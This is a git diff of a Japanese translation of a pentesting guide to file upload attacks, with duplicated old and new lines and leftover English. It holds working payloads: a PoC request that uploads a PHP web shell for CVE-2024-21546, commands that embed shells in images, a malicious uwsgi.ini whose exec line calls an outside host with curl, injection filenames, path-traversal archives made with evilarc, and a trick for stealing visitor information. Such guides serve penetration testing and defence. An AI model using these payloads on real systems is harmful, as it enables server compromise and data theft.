その他の有用な拡張子:
|
||||
|
||||
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
|
||||
- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
|
||||
@ -15,43 +15,43 @@ Other useful extensions:
|
||||
- **Perl**: _.pl, .cgi_
|
||||
- **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Bypass file extensions checks
|
||||
### ファイル拡張子チェックのバイパス
|
||||
|
||||
1. 該当する場合、前述の拡張子をチェックする。大文字を使っても試す: _pHp, .pHP5, .PhAr ..._
|
||||
2. _実行拡張子の前に有効な拡張子を追加してみる(前述の拡張子も利用):_
|
||||
- _file.png.php_
|
||||
1. 該当する場合、前述の拡張子を**確認**してください。また大文字を使ってテストしてください:_pHp, .pHP5, .PhAr ..._
|
||||
2. _実行拡張子の前に有効な拡張子を**追加**してみてください(前述の拡張子も使用):_
|
||||
- _file.png.php_
|
||||
- _file.png.Php5_
|
||||
3. ファイル名の末尾に特殊文字を追加してみる。Burp を使って全ての ascii と Unicode 文字をブルートフォースすることもできる。(_前述の拡張子も使えることに注意_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
- _file.php%0d%0a_
|
||||
- _file.php/_
|
||||
- _file.php.\\_
|
||||
- _file._
|
||||
- _file.php...._
|
||||
3. 末尾に**特殊文字**を追加してみてください。Burpを使ってすべての**ascii**や**Unicode**文字を**bruteforce**することができます。(_注:前述の拡張子を使うこともできます_)
|
||||
- _file.php%20_
|
||||
- _file.php%0a_
|
||||
- _file.php%00_
|
||||
- _file.php%0d%0a_
|
||||
- _file.php/_
|
||||
- _file.php.\\_
|
||||
- _file._
|
||||
- _file.php...._
|
||||
- _file.pHp5...._
|
||||
4. サーバー側の拡張子パーサーを騙すことで保護を回避する。拡張子を二重にする、拡張子の間に junk データ(null バイト)を入れる等の手法が有効。_より良いペイロードを作るために前述の拡張子も併用できる。_
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
- _file.php%00.png_
|
||||
- _file.php\x00.png_
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
4. サーバー側の拡張子パーサーを騙すことで保護をバイパスしてみてください。例えば、拡張子を**二重化**したり、拡張子間に**ゴミデータ**(**null**バイト)を挟むなどの手法です。_より良いペイロードを作成するために、前述の拡張子を使用することもできます._
|
||||
- _file.png.php_
|
||||
- _file.png.pHp5_
|
||||
- _file.php#.png_
|
||||
- _file.php%00.png_
|
||||
- _file.php\x00.png_
|
||||
- _file.php%0a.png_
|
||||
- _file.php%0d%0a.png_
|
||||
- _file.phpJunk123png_
|
||||
5. 前述のチェックにさらに別の拡張子レイヤーを追加する:
|
||||
- _file.png.jpg.php_
|
||||
5. 前述のチェックに**さらに拡張子の層**を追加してみてください:
|
||||
- _file.png.jpg.php_
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 実行拡張子を有効な拡張子の前に置いて、サーバーの誤設定に賭ける(Apache の誤設定で .php を含むものは必ずしも .php で終わっていなくても実行される場合がある):
|
||||
6. 実行拡張子を有効な拡張子の前に置いて、サーバーが誤設定されていることを期待してみてください。(Apacheの誤設定を悪用する際に有用で、拡張子が**_.php_**を含むが必ずしも .php で終わらない場合でもコードが実行されることがあります):
|
||||
- _ex: file.php.png_
|
||||
7. **Windows** の **NTFS alternate data stream (ADS)** を使用する手法。禁止された拡張子の後にコロン ":" を挿入し、許可された拡張子の前に置く。結果として、サーバー上に**禁止拡張子だけの空ファイル**が作成される(例: "file.asax:.jpg")。このファイルは後で short filename などを用いて編集される可能性がある。"**::$data**" パターンを使って非空のファイルを作成することもできるため、このパターンの後にドットを付けることでさらなる制限を回避できることがある(例: "file.asp::$data.")。
|
||||
8. ファイル名の長さ制限を破ってみる。有効な拡張子が切り落とされ、悪意ある PHP が残る。AAA<--SNIP-->AAA.php
|
||||
7. **NTFS alternate data stream (ADS)** を **Windows** で使用する方法。 この場合、禁止された拡張子の後と許可された拡張子の前にコロン文字 ":" が挿入されます。その結果、サーバー上に**禁止された拡張子の空ファイル**が作成されます(例: "file.asax:.jpg")。このファイルは後で短いファイル名を使うなどの他の手法で編集される可能性があります。パターン "**::$data**" は非空のファイルを作成するためにも使用できます。したがって、このパターンの後にドットを追加することは、さらなる制限を回避するのに有用な場合があります(例: "file.asp::$data.")
|
||||
8. ファイル名の長さ制限を超えるようにしてみてください。有効な拡張子が切り取られ、悪意ある PHP が残されます。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximum 255 bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
|
||||
# Upload the file and check response how many characters it alllows. Let's say 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
@ -59,56 +59,86 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### Bypass Content-Type, Magic Number, Compression & Resizing
|
||||
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
|
||||
|
||||
- Content-Type チェックは、リクエストヘッダの Content-Type を次のように設定して回避することができる: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type の wordlist: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- magic number チェックは、ファイルの先頭に実際の画像のバイトを追加して(file コマンドを混乱させる)、あるいはメタデータ内にシェルを埋め込むことで回避できる:\
|
||||
一部のアップロードハンドラは、保存されるファイル名から末尾のドット文字をトリムまたは正規化します。UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) の 2.9.1 より前のバージョンでは、次の方法で拡張子検証をバイパスできます:
|
||||
|
||||
- 有効な画像 MIME と magic header(例: PNG の `\x89PNG\r\n\x1a\n`)を使用する。
|
||||
- アップロードファイルの名前を PHP 拡張子の後にドットを付けて命名する(例: `shell.php.`)。
|
||||
- サーバーは末尾のドットを取り除き `shell.php` として保存します。これはウェブで配信されるディレクトリ(デフォルトの public storage 例えば `/storage/files/`)に配置されると実行されます。
|
||||
|
||||
簡易 PoC (Burp Repeater):
|
||||
```http
|
||||
POST /profile/avatar HTTP/1.1
|
||||
Host: target
|
||||
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
|
||||
|
||||
------WebKitFormBoundary
|
||||
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
|
||||
Content-Type: image/png
|
||||
|
||||
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
|
||||
------WebKitFormBoundary--
|
||||
```
|
||||
保存されたパスにアクセスする(典型的には Laravel + LFM):
|
||||
```
|
||||
GET /storage/files/0xdf.php?cmd=id
|
||||
```
|
||||
緩和策:
|
||||
- unisharp/laravel-filemanager を ≥ 2.9.1 にアップグレードする。
|
||||
- サーバー側で厳格な allowlists を適用し、保存されたファイル名を再検証する。
|
||||
- アップロードを実行可能でない場所から配信する。
|
||||
|
||||
### Content-Type、magic number、Compression & Resizing の回避
|
||||
|
||||
- Content-Type チェックは、**Content-Type** **header** の **value** を次のように設定して回避する: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- **magic number** チェックは、ファイルの先頭に **実際の画像のバイト** を追加して回避する(_file_ コマンドを混乱させる)。またはメタデータ内にシェルを埋め込む:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` または画像内に直接ペイロードを挿入することも可能:\
|
||||
`\` または画像内に直接ペイロードを埋め込むこともできる:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- もし画像に対して圧縮が行われる場合(例えば PHP-GD のような標準的な PHP ライブラリを使っている場合)、前述の手法は有効でないことがある。しかし、**PLTE chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るテキストを挿入できる。
|
||||
- もし画像に **圧縮が加えられる**(例: [PHP-GD](https://www.php.net/manual/fr/book.image.php) などの標準的なPHPライブラリを使用している場合)は、前述の手法は有効でない場合がある。しかし、**PLTE chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って、**圧縮を生き延びる**テキストを挿入することができる。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- Web ページが画像を **リサイズ**(例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使用)している場合でも、**IDAT chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により圧縮後も残るデータを挿入できる。
|
||||
- Webページが例えば PHP-GD の `imagecopyresized` や `imagecopyresampled` を使って **画像をリサイズ** している場合でも、**IDAT chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- PHP-GD の `thumbnailImage` を使ったリサイズでも生き残るペイロードを作る別の手法がある。**tEXt chunk** を使う [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) により、圧縮後も残るテキストを挿入できる。
|
||||
- 画像のリサイズを生き延びるペイロードを作る別の手法として、PHP-GD の `thumbnailImage` を使用する場合がある。こちらも **tEXt chunk** の [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使って **圧縮を生き延びる**テキストを挿入できる。
|
||||
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### Other Tricks to check
|
||||
### 確認すべきその他のトリック
|
||||
|
||||
- アップロード済みファイルを **rename** できる脆弱性を見つける(拡張子を変更するため)。
|
||||
- Local File Inclusion 脆弱性を見つけてバックドアを実行する。
|
||||
- **可能な情報漏洩**:
|
||||
1. 同じ名前のファイルを **複数回**(かつ同時に)アップロードする。
|
||||
2. 既に存在する **ファイル** または **フォルダ** と同名のファイルをアップロードする。
|
||||
3. 名前が ".”, "..”, または "…” のファイルをアップロードする。例えば Windows 上の Apache では、アプリケーションがアップロードファイルを "/www/uploads/" に保存すると、"." というファイル名は "/www/" に "uploads" というファイルを作成することがある。
|
||||
4. NTFS のように削除が難しいファイル名(例: "…:.jpg")をアップロードする。(Windows)
|
||||
5. Windows で `|<>*?”` のような無効文字を名前に含むファイルをアップロードする。(Windows)
|
||||
6. CON, PRN, AUX, NUL, COM1 ... LPT9 のような予約済み(禁止)名を使って Windows にファイルをアップロードする。
|
||||
- 実行可能ファイル(.exe)や開かれたときにコードを実行する .html(あまり怪しまれない)をアップロードすることも試す。
|
||||
- 既にアップロードされたファイルを**rename**(拡張子を変更する)できる脆弱性を探す。
|
||||
- バックドアを実行するための **Local File Inclusion** 脆弱性を探す。
|
||||
- **Possible Information disclosure**:
|
||||
1. 同じ名前の**同じファイル**を**複数回**(かつ**同時に**)アップロードする。
|
||||
2. すでに存在する**ファイル名**や**フォルダ名**と同じ名前のファイルをアップロードする。
|
||||
3. 名前が `"."`, `".."`, または `"..."` のようなファイルをアップロードする。例えば、Apache の **Windows** 環境でアプリケーションが "/www/uploads/" ディレクトリにアップロードを保存する場合、"." というファイル名は "/www/" に "uploads" というファイルを作成してしまうことがある。
|
||||
4. **NTFS**(Windows)で **"…:.jpg"** のように削除しにくいファイルをアップロードする。
|
||||
5. **Windows** で名前に `|<>*?”` のような無効な文字を含むファイルをアップロードする。
|
||||
6. CON, PRN, AUX, NUL, COM1 ... COM9, LPT1 ... LPT9 のような **予約(禁止)名** を使って Windows にファイルをアップロードする。
|
||||
- また、被害者が誤って開いたときにコードを実行する可能性のある **実行ファイル**(.exe)や、より疑われにくい **.html** をアップロードしてみる。
|
||||
|
||||
### Special extension tricks
|
||||
|
||||
PHP サーバーにアップロードする場合は、[.htaccess を使ってコードを実行するトリック](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution) を参照すること。\
|
||||
ASP サーバーにアップロードする場合は、[.config を使ってコードを実行するトリック](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) を参照すること。
|
||||
PHP サーバにファイルをアップロードしようとしている場合、コードを実行するための **.htaccess** トリックを参照すること: [https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
|
||||
ASP サーバにファイルをアップロードする場合は、**.config** トリックを参照してコードを実行する方法を見るとよい: ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files
|
||||
|
||||
`.phar` ファイルは java の `.jar` に似ているが php 向けで、php で実行したりスクリプト内で include することで **php ファイルのように利用**できる。
|
||||
`.phar` ファイルは java の `.jar` に似ているが php 用で、php として **使用できる**(php で実行したり、スクリプト内で include したりできる)ことがある。
|
||||
|
||||
`.inc` 拡張子はインポート用の php ファイルに使われることがあり、結果としてこの拡張子が実行可能になっている場合がある。
|
||||
`.inc` 拡張子は、ファイルを **import** する目的で使われる php ファイルに使われることがあり、場合によってはこの拡張子が実行許可されていることがある。
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
Jetty サーバーに XML ファイルをアップロードできる場合、[新しい \*.xml と \*.war が自動的に処理されるため RCE を得られる](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** つまり、以下の画像に示されているように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが得られる可能性がある。
|
||||
Jetty サーバに XML ファイルをアップロードできれば、[RCE が発生する可能性がある(**new \*.xml と \*.war が自動的に処理されるため**)](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、以下の画像にあるように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードすればシェルが期待できる。
|
||||
|
||||
.png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
この脆弱性の詳細な調査については、オリジナルの調査を参照すること: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
この脆弱性の詳細な検証については元の調査を参照: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
Remote Command Execution (RCE) 脆弱性は、`.ini` 設定ファイルを変更できる権限がある場合に uWSGI サーバーで悪用され得る。uWSGI の設定ファイルは特定の構文を用いて "magic" な変数、プレースホルダ、演算子を組み込める。特に `@(filename)` として使われる '@' 演算子はファイルの内容を include するためのものとして設計されている。uWSGI がサポートするスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read のような悪用につながる可能性がある。
|
||||
uWSGI サーバでは、`.ini` 設定ファイルを変更できる場合に Remote Command Execution (RCE) 脆弱性が悪用される可能性がある。uWSGI の設定ファイルは、"magic" 変数、プレースホルダ、演算子を組み込むための特有の構文を持つ。特に `@(filename)` のように使われる '@' 演算子はファイルの内容をインクルードするために設計されている。uWSGI がサポートする様々なスキームの中で、"exec" スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にする。この機能は、`.ini` 設定ファイルが処理される際に Remote Command Execution や Arbitrary File Write/Read に悪用され得る。
|
||||
|
||||
以下は有害な `uwsgi.ini` ファイルの例で、様々なスキームを示している:
|
||||
以下は、有害な `uwsgi.ini` ファイルの例を示す。
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,15 +156,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
ペイロードの実行は設定ファイルの解析時に発生します。設定が有効化され解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やDenial of Service attackのために再起動される場合を含みます)、またはファイルをauto-reloadに設定しておく必要があります。auto-reload機能が有効になっている場合、変更を検出すると指定した間隔でファイルを再読み込みします。
|
||||
The execution of the payload occurs during the parsing of the configuration file. For the configuration to be activated and parsed, the uWSGI process must either be restarted (potentially after a crash or due to a Denial of Service attack) or the file must be set to auto-reload. The auto-reload feature, if enabled, reloads the file at specified intervals upon detecting changes.
|
||||
|
||||
uWSGIの設定ファイルの解析が緩い点を理解することが重要です。具体的には、ここで述べたペイロードはバイナリファイル(画像やPDFなど)に埋め込むことが可能であり、悪用の範囲がさらに広がります。
|
||||
It's crucial to understand the lax nature of uWSGI's configuration file parsing. Specifically, the discussed payload can be inserted into a binary file (such as an image or PDF), further broadening the scope of potential exploitation.
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
場合によっては、サーバが**`wget`**で**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。その場合、コードがダウンロードしたファイルの拡張子がwhitelistに含まれているかを検査し、許可されたファイルのみがダウンロードされることを保証していることがあります。**ただし、このチェックはバイパス可能です。**
|
||||
|
||||
linuxにおけるファイル名の最大長は255ですが、**wget**はファイル名を236文字に切り詰めます。例えば、**"A"\*232+".php"+".gif"** というファイル名でダウンロードさせることができ、このファイル名は**チェックをバイパス**します(この例では **".gif"** が**有効な**拡張子です)が、`wget` はファイル名を **"A"\*232+".php"** に**rename**します。
|
||||
場合によっては、サーバが**`wget`**を使って**ファイルをダウンロード**しており、あなたが**URL**を**指定**できることがあります。このようなケースでは、ダウンロードされるファイルの拡張子が許可リスト(whitelist)内にあるかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、**このチェックは回避可能です。**\
|
||||
**最大**長の**filename**は**linux**で**255**ですが、**wget**はfilenameを**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルをダウンロードすると、このfilenameは**バイパス**して**チェック**をすり抜けます(この例では**".gif"**が**有効**な拡張子であるため)が、`wget`はファイル名を**"A"\*232+".php"**に**リネーム**します。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -159,33 +188,33 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
```
|
||||
Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.
|
||||
|
||||
## Tools
|
||||
## ツール
|
||||
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications.
|
||||
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) は、Pentesters and Bug Hunters が file upload mechanisms をテストするのを支援するために設計された強力なツールです。様々な bug bounty テクニックを活用して脆弱性の識別と悪用を簡素化し、webアプリケーション の徹底的な評価を支援します。
|
||||
|
||||
### Corrupting upload indices with snprintf quirks (historical)
|
||||
|
||||
Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases.
|
||||
一部のレガシーな upload handler は `snprintf()` 等を使って single-file upload から multi-file 配列を構築しており、これを利用して `_FILES` 構造を偽造させることができます。`snprintf()` の挙動の不一致や切り捨てによって、巧妙に作られた単一アップロードがサーバー側で複数のインデックス付きファイルとして見えてしまい、厳密な形状を仮定しているロジック(例えば multi-file upload として扱い安全でない分岐を取る部分)を混乱させます。今日ではニッチな問題ですが、この「index corruption」パターンは時折 CTF や古いコードベースで再出現します。
|
||||
|
||||
## From File upload to other vulnerabilities
|
||||
## ファイルアップロードから他の脆弱性へ
|
||||
|
||||
- Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal**
|
||||
- Set **filename** to `sleep(10)-- -.jpg` and you may be able to achieve a **SQL injection**
|
||||
- Set **filename** to `<svg onload=alert(document.domain)>` to achieve a XSS
|
||||
- Set **filename** to `; sleep 10;` to test some command injection (more [command injections tricks here](../command-injection.md))
|
||||
- **filename** を `../../../tmp/lol.png` に設定して **path traversal** を試みる
|
||||
- **filename** を `sleep(10)-- -.jpg` に設定すると **SQL injection** を達成できる可能性がある
|
||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して **XSS** を達成する
|
||||
- **filename** を `; sleep 10;` に設定してコマンドインジェクションをテストする(他の [command injections tricks here](../command-injection.md) を参照)
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||
- [**different svg payloads**](https://github.com/allanlw/svg-cheatsheet) を試す
|
||||
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||
- サーバーに対して **image** を URL から取得させることができる場合、[SSRF](../ssrf-server-side-request-forgery/index.html) を悪用できる可能性がある。この **image** が公開サイトに保存される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) のような URL を指定して **訪問者の情報を盗む** ことも可能になる。
|
||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||
- Check if there is any **size limit** uploading files
|
||||
- 特殊に細工した PDF による XSS: [以下のページは **inject PDF data to obtain JS execution** 方法を示している](../xss-cross-site-scripting/pdf-injection.md)。PDF のアップロードが可能なら、与えられた指示に従って任意の JS を実行する PDF を準備できる。
|
||||
- サーバーに **antivirus** があるか確認するために \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) のコンテンツをアップロードする
|
||||
- ファイルアップロード時の **size limit** があるか確認する
|
||||
|
||||
Here’s a top 10 list of things that you can achieve by uploading (from [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
以下はアップロードによって達成可能なことのトップ10リスト([here](https://twitter.com/SalahHasoneh1/status/1281274120395685889) より):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Stored XSS / SSRF / XXE
|
||||
@ -207,18 +236,18 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
## Magic Header Bytes
|
||||
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
|
||||
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["`
|
||||
- **JPG**: `"\xff\xd8\xff"`
|
||||
|
||||
Refer to [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) for other filetypes.
|
||||
他のファイルタイプについては [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) を参照してください。
|
||||
|
||||
## Zip/Tar File Automatically decompressed Upload
|
||||
## Zip/Tar ファイルが自動的に展開されるアップロード
|
||||
|
||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
||||
サーバー内で展開される ZIP をアップロードできる場合、2つのことができます:
|
||||
|
||||
### Symlink
|
||||
|
||||
Upload a link containing soft links to other files, then, accessing the decompressed files you will access the linked files:
|
||||
他のファイルへの soft links を含むリンクをアップロードし、展開されたファイルにアクセスするとリンク先のファイルへアクセスできるようにする:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -226,18 +255,18 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 異なるフォルダに解凍する
|
||||
|
||||
解凍時にディレクトリ内へ予期せぬファイルが作成される問題は重大です。一見、この構成は悪意あるファイルのアップロードを通じたOSレベルのコマンド実行を防げるように見えますが、ZIPアーカイブ形式が持つ階層的な圧縮サポートとdirectory traversalの能力は悪用可能です。これにより、攻撃者は制限を回避し、対象アプリケーションの解凍機能を操作してsecure upload directoriesから脱出できます。
|
||||
解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードによって OS-level command execution を防げると当初は考えられていても、ZIP archive format の階層的な圧縮サポートと directory traversal の機能が悪用される可能性があります。これにより攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
このようなファイルを作成する自動エクスプロイトは[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手できます。ユーティリティの使い方は次の通りです:
|
||||
そのようなファイルを作成する自動化された exploit が [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) にあります。ユーティリティは次のように使用できます:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
さらに、**symlink trick with evilarc** も選択肢です。ターゲットが `/flag.txt` のようなファイルである場合、そのファイルへの symlink をシステム上に作成してください。これにより evilarc が動作中にエラーを起こさないようにします。
|
||||
さらに、**symlink trick with evilarc** も選択肢です。目的が `/flag.txt` のようなファイルを狙う場合、そのファイルへの symlink をシステム上に作成しておくべきです。これにより evilarc が動作中にエラーを起こさないようにできます。
|
||||
|
||||
以下は悪意のある zip ファイルを作成するために使用される Python コードの例です:
|
||||
Below is an example of Python code used to create a malicious zip file:
|
||||
```python
|
||||
#!/usr/bin/python
|
||||
import zipfile
|
||||
@ -255,11 +284,11 @@ zip.close()
|
||||
|
||||
create_zip()
|
||||
```
|
||||
**Abusing compression for file spraying**
|
||||
